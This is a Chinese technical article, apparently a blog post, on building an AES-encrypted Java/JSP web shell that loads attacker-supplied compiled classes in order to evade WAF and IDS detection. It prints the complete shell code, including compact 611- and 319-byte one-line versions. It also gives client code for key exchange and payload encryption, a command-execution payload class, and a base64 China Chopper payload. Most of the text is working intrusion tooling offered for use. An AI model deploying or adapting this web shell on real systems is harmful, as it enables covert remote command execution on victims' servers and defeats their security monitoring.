利用動態二進位制加密實現新型一句話木馬之Java篇
概述
本系列文章重寫了java、.net、php三個版本的一句話木馬,可以解析並執行客戶端傳遞過來的加密二進位制流,並實現了相應的客戶端工具。從而一勞永逸的繞過WAF或者其他網路防火牆的檢測。
本來是想把這三個版本寫在一篇文章裡,過程中發現篇幅太大,所以分成了四篇,分別是:
利用動態二進位制加密實現新型一句話木馬之Java篇
利用動態二進位制加密實現新型一句話木馬之.net篇
利用動態二進位制加密實現新型一句話木馬之php篇
利用動態二進位制加密實現新型一句話木馬之客戶端下載及功能介紹
前言
一句話木馬是一般是指一段短小精悍的惡意程式碼,這段程式碼可以用作一個代理來執行攻擊者傳送過來的任意指令,因其體積小、隱蔽性強、功能強大等特點,被廣泛應用於滲透過程中。最初的一句話木馬真的只有一句話,比如eval(request(“cmd”)),後續為了躲避查殺,出現了很多變形。無論怎麼變形,其本質都是用有限的儘可能少的位元組數,來實現無限的可任意擴充套件的功能。
一句話木馬從最早的<%execute(request(“cmd”))%>到現在,也有快二十年的歷史了。客戶端工具也從最簡單的一個html頁面發展到現在的各種GUI工具。但是近些年友軍也沒閒著,湧現出了各種防護系統,這些防護系統主要分為兩類:一類是基於主機的,如Host based IDS、安全狗、D盾等,基於主機的防護系統主要是通過對伺服器上的檔案進行特徵碼檢測;另一類是基於網路流量的,如各種雲WAF、各種商業級硬體WAF、網路防火牆、Net Based IDS等,基於網路的防護裝置其檢測原理是對傳輸的流量資料進行特徵檢測,目前絕大多數商業級的防護裝置皆屬於此種類型。一旦目標網路部署了基於網路的防護裝置,我們常用的一句話木馬客戶端在向伺服器傳送Payload時就會被攔截,這也就導致了有些場景下會出現一句話雖然已經成功上傳,但是卻無法連線的情況。
理論篇
為什麼會被攔截
在討論怎麼繞過之前,先分析一下我們的一句話客戶端傳送的請求會被攔截?
我們以菜刀為例,來看一下payload的特徵,如下為aspx的命令執行的payload:
Payload如下:
caidao=Response.Write("->|"); var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
可以看到,雖然關鍵的程式碼採用了base64編碼,但是payload中扔有多個明顯的特徵,比如有eval關鍵詞,有Convert.FromBase64String,有三個引數,引數名為caidao(密碼欄位)、z1、z2,引數值有base64編碼。針對這些特徵很容易寫出對應的防護規則,比如:POST請求中有Convert.FromBase64String關鍵字,有z1和z2引數,z1引數值為4個字元,z2引數值為base64編碼字元。
被動的反抗
當然這種很low的規則,繞過也會很容易,攻擊者只要自定義自己的payload即可繞過,比如把引數改下名字即可,把z1,z2改成z9和z10。不過攻擊者幾天後可能會發現z9和z10也被加到規則裡面去了。再比如攻擊者採用多種組合編碼方式進行編碼,對payload進行加密等等,不過對方的規則也在不斷的更新,不斷識別關鍵的編碼函式名稱、加解密函式名稱,並加入到規則裡面。於是攻擊者和防禦者展開了長期的較量,不停的變換著各種姿勢……
釜底抽薪
其實防禦者之所以能不停的去更新自己的規則,主要是因為兩個原因:1.攻擊者傳送的請求都是指令碼原始碼,無論怎麼樣編碼,仍然是伺服器端解析引擎可以解析的原始碼,是基於文字的,防禦者能看懂。2.攻擊者執行多次相同的操作,傳送的請求資料也是相同的,防禦者就可以把他看懂的請求找出特徵固化為規則。
試想一下,如果攻擊者傳送的請求不是文字格式的原始碼,而是編譯之後的位元組碼(比如java環境下直接向伺服器端傳送class二進位制檔案),位元組碼是一堆二進位制資料流,不存在引數;攻擊者把二進位制位元組碼進行加密,防禦者看到的就是一堆加了密的二進位制資料流;攻擊者多次執行同樣的操作,採用不同的金鑰加密,即使是同樣的payload,防禦者看到的請求資料也不一樣,這樣防禦者便無法通過流量分析來提取規則。
SO,這就是我們可以一勞永逸繞過waf的思路,具體流程如下:
- 首次連線一句話服務端時,客戶端首先向伺服器端發起一個GET請求,伺服器端隨機產生一個128位的金鑰,把金鑰回顯給客戶端,同時把金鑰寫進伺服器側的Session中。
- 客戶端獲取金鑰後,對本地的二進位制payload先進行AES加密,再通過POST方式傳送至伺服器端。
- 伺服器收到資料後,從Session中取出祕鑰,進行AES解密,解密之後得到二進位制payload資料。
- 伺服器解析二進位制payload檔案,執行任意程式碼,並將執行結果加密返回。
- 客戶端解密伺服器端返回的結果。
如下為執行流程圖:
實現篇
服務端實現
想要直接解析已經編譯好的二進位制位元組流,實現我們的繞過思路,現有的Java一句話木馬無法滿足我們的需求,因此我們首先需要打造一個新型一句話木馬:
1. 伺服器端動態解析二進位制class檔案:
首先要讓服務端有動態地將位元組流解析成Class的能力,這是基礎。
正常情況下,Java並沒有提供直接解析class位元組陣列的介面。不過classloader內部實現了一個protected的defineClass方法,可以將byte[]直接轉換為Class,方法原型如下:
因為該方法是protected的,我們沒辦法在外部直接呼叫,當然我們可以通過反射來修改保護屬性,不過我們選擇一個更方便的方法,直接自定義一個類繼承classloader,然後在子類中呼叫父類的defineClass方法。
下面我們寫個demo來測試一下:
package net.rebeyond; import sun.misc.BASE64Decoder; public class Demo { public static class Myloader extends ClassLoader //繼承ClassLoader { publicClass get(byte[] b) { return super.defineClass(b, 0, b.length); } } public static void main(String[] args) throws Exception { // TODO Auto-generated method stub String classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw=="; BASE64Decoder code=new sun.misc.BASE64Decoder(); Class result=new Myloader().get(code.decodeBuffer(classStr));//將base64解碼成byte陣列,並傳入t類的get函式 System.out.println(result.newInstance().toString()); } }
上面程式碼中的classStr變數的值就是如下這個類編譯之後的class檔案的base64編碼:
package net.rebeyond; import java.io.IOException; public class Payload { @Override public String toString() { // TODO Auto-generated method stub try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } return "OK"; } }
簡單解釋一下上述程式碼:
- 首先自定義一個類Myloader,並繼承classloader父類,然後自定義一個名為get的方法,該方法接收byte陣列型別的引數,然後呼叫父類的defineClass方法去解析byte資料,並返回解析後的Class。
- 單獨編寫一個Payload類,並實現toString方法。因為我們想要我們的服務端儘可能的短小精悍,所以我們定義的Payload類即為預設的Object的子類,沒有額外定義其他方法,因此只能借用Object類的幾個預設方法,由於我們執行payload之後還要拿到執行結果,所以我們選擇可以返回String型別的toString方法。把這個類編譯成Payload.class檔案。
- main函式中classStr變數為上述Payload.class檔案二進位制流的base64編碼。
- 新建一個Myloader的例項,將classStr解碼為二進位制位元組流,並傳入Myloader例項的get方法,得到一個Class型別的例項result,此時result即為Payload.class(注意此處的Payload.class不是上文的那個二進位制檔案,而是Payload這個類的class屬性)。
- 呼叫result類的預設無參構造器newInstance()生成一個Payload類的例項,然後呼叫該例項的toString方法,繼而執行toString方法中的程式碼:Runtime.getRuntime().exec("calc.exe");return “OK”
- 在控制檯打印出toString方法的返回值。
OK,程式碼解釋完了,下面嘗試執行Demo類,成功彈出計算器,並打印出“OK”字串,如下圖:
到此,我們就可以直接動態解析並執行編譯好的class位元組流了。
2.生成金鑰:
首先檢測請求方式,如果是帶了密碼欄位的GET請求,則隨機產生一個128位的金鑰,並將金鑰寫進Session中,然後通過response傳送給客戶端,程式碼如下:
if (request.getMethod().equalsIgnoreCase("get")) { String k = UUID.randomUUID().toString().replace("-","").substring(0, 16); request.getSession().setAttribute("uid", k); out.println(k); return; }
這樣,後續傳送payload的時候只需要傳送加密後的二進位制流,無需傳送金鑰即可在服務端解密,這時候waf捕捉到的只是一堆毫無意義的二進位制資料流。
3.解密資料,執行:
當客戶端請求方式為POST時,伺服器先從request中取出加密過的二進位制資料(base64格式),程式碼如下:
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString();
4.改進一下
前面提到,我們是通過重寫Object類的toString方法來作為我們的Payload執行入口,這樣的好處是我們可以取到Payload的返回值並輸出到頁面,但是缺點也很明顯:在toString方法內部沒辦法訪問Request、Response、Seesion等servlet相關物件。所以需要找一個帶有入參的方法,並且能把Request、Response、Seesion等servlet相關物件傳遞進去。
重新翻看了一下Object類的方法列表:
可以看到equals方法完美符合我們的要求,有入參,而且入參是Object類,在Java世界中,Object類是所有類的基類,所以我們可以傳遞任何型別的物件進去。
方法找到了,下面看我們要怎麼把servlet的內建物件傳進去呢?傳誰呢?
JSP有9個內建物件:
但是equals方法只接受一個引數,通過對這9個物件分析發現,只要傳遞pageContext進去,便可以間接獲取Request、Response、Seesion等物件,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();
另外,如果想要順利的在equals中呼叫Request、Response、Seesion這幾個物件,還需要考慮一個問題,那就是ClassLoader的問題。JVM是通過ClassLoader+類路徑來標識一個類的唯一性的。我們通過呼叫自定義ClassLoader來defineClass出來的類與Request、Response、Seesion這些類的ClassLoader不是同一個,所以在equals中訪問這些類會出現java.lang.ClassNotFoundException異常。
解決方法就是複寫ClassLoader的如下建構函式,傳遞一個指定的ClassLoader例項進去:
5.完整程式碼:
<%@ page import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%> <%! /* 定義ClassLoader的子類Myloader */ public static class Myloader extends ClassLoader { public Myloader(ClassLoader c) {super(c);} public Class get(byte[] b) {//定義get方法用來將指定的byte[]傳給父類的defineClass return super.defineClass(b, 0, b.length); } } %> <% if (request.getParameter("pass")!=null) {//判斷請求方法是不是帶密碼的握手請求,此處只用引數名作為密碼,引數值可以任意指定 String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);//隨機生成一個16位元組的金鑰 request.getSession().setAttribute("uid", k); //將金鑰寫入當前會話的Session中 out.print(k); //將金鑰傳送給客戶端 return; //執行流返回,握手請求時,只產生金鑰,後續的程式碼不再執行 } /* 當請求為非握手請求時,執行下面的分支,準備解密資料並執行 */ String uploadString= request.getReader().readLine();//從request中取出客戶端傳過來的加密payload Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload進行base64解碼 Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 選擇AES解密套件 c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //從Session中取出金鑰 Byte[] classData= c.doFinal(encryptedData);//AES解密操作 Object myLoader= new Myloader().get(classData).newInstance(); //通過ClassLoader的子類Myloader的get方法來間接呼叫defineClass方法,將客戶端發來的二進位制class位元組陣列解析成Class並例項化 String result= myLoader.equals(pageContext); //呼叫payload class的equals方法,我們在準備payload class的時候,將想要執行的目的碼封裝到equals方法中即可,將執行結果通過equals中利用response物件返回。 %>
為了增加可讀性,我對上述程式碼做了一些擴充,簡化一下就是下面這一行:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
現在網路上流傳的菜刀jsp一句話木馬要7000多個位元組,我們這個全功能版本只有611個位元組,當然如果只去掉動態加密而只實現傳統一句話木馬的功能的話,可以精簡成319個位元組,如下:
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null)new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);%>
至此,我們的具有動態解密功能的、能解析執行任意二進位制流的新型一句話木馬就完成了。
客戶端實現
1.遠端獲取加密金鑰:
客戶端在執行時,首先以GET請求攜帶密碼欄位向伺服器發起握手請求,獲取此次會話的加密金鑰和cookie值。加密金鑰用來對後續傳送的Payload進行AES加密;上文我們說到伺服器端隨機產生金鑰之後會存到當前Session中,同時會以set-cookie的形式給客戶端一個SessionID,客戶端獲取金鑰的同時也要獲取該cookie值,用來標識客戶端身份,伺服器端後續可以通過客戶端傳來的cookie值中的sessionId來從Session中取出該客戶端對應的金鑰進行解密操作。關鍵程式碼如下:
public static Map<String, String> getKeyAndCookie(String getUrl) throws Exception { Map<String, String> result = new HashMap<String, String>(); StringBuffer sb = new StringBuffer(); InputStreamReader isr = null; BufferedReader br = null; URL url = new URL(getUrl); URLConnection urlConnection = url.openConnection(); String cookieValue = urlConnection.getHeaderField("Set-Cookie"); result.put("cookie", cookieValue); isr = new InputStreamReader(urlConnection.getInputStream()); br = new BufferedReader(isr); String line; while ((line = br.readLine()) != null) { sb.append(line); } br.close(); result.put("key", sb.toString()); return result; }
2.動態生成class位元組陣列:
我們只需要把payload的類寫好一起打包進客戶端jar包,然後通過ASM框架從jar包中以位元組流的形式取出class檔案即可,如下是一個執行系統命令的payload類的程式碼示例:
public class Cmd { public static String cmd; @Override public boolean equals(Object obj) { // TODO Auto-generated method stub PageContext page = (PageContext) obj; page.getResponse().setCharacterEncoding("UTF-8"); Charset osCharset=Charset.forName(System.getProperty("sun.jnu.encoding")); try { String result = ""; if (cmd != null && cmd.length() > 0) { Process p; if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { p = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmd }); } else { p = Runtime.getRuntime().exec(cmd); } BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312")); String disr = br.readLine(); while (disr != null) { result = result + disr + "\n"; disr = br.readLine(); } result = new String(result.getBytes(osCharset)); page.getOut().write(result.trim()); } } catch (Exception e) { try { page.getOut().write(e.getMessage()); } catch (IOException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } } return true; }
3.已編譯類的引數化:
上述示例中需要執行的命令是硬編碼在class檔案中的,因為class是已編譯好的檔案,我們總不能每執行一條命令就重新編譯一次payload。那麼怎麼樣讓Payload接收我們的自定義引數呢?直接在Payload中用request.getParameter來取?當然不行,因為為了避免被waf攔截,我們淘汰了request引數傳遞的方式,我們的request body就是一堆二進位制流,沒有任何引數。在伺服器側取引數不可行,那就從客戶端側入手,在傳送class位元組流之前,先對class進行引數化,在不需要重新編譯的情況下向class檔案中注入我們的自定義引數,這是比較關鍵的一步。這裡我們要使用ASM框架來動態修改class檔案中的屬性值,關鍵程式碼如下:
public static byte[] getParamedClass(String clsName,final Map<String,String> params) throws Exception { byte[] result; ClassReader classReader = new ClassReader(clsName); final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS); classReader.accept(new ClassAdapter(cw) { @Override public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) { // TODO Auto-generated method stub if (params.containsKey(filedName)) { String paramValue=params.get(filedName); return super.visitField(arg0, filedName, arg2, arg3, paramValue); } return super.visitField(arg0, filedName, arg2, arg3, arg4); }},0); result=cw.toByteArray(); return result; }
我們只需要向getParamedClass方法傳遞payload類名、引數列表即可獲得經過引數化的payload class。
4.加密payload:
利用步驟1中獲取的金鑰對payload進行AES加密,然後進行Base64編碼,程式碼如下:
public static String getData(String key,String className,Map<String,String> params) throws Exception { byte[] bincls=Params.getParamedClass(className, params); byte[] encrypedBincls=Decrypt.Encrypt(bincls,key); String basedEncryBincls=Base64.getEncoder().encodeToString(encrypedBincls); return basedEncryBincls; }
5.傳送payload,接收執行結果並解密:
Payload加密之後,帶cookie以POST方式傳送至伺服器端,並將執行結果取回,如果結果是加密的,則進行AES解密。
案例演示
下面我找了一個測試站點來演示一下繞過防禦系統的效果:
首先我上傳一個常規的jsp一句話木馬:
然後用菜刀客戶端連線,如下圖,連線直接被防禦系統reset了:
然後上傳我們的新型一句話木馬,並用響應的客戶端連線,可以成功連線並管理目標系統:
本篇完。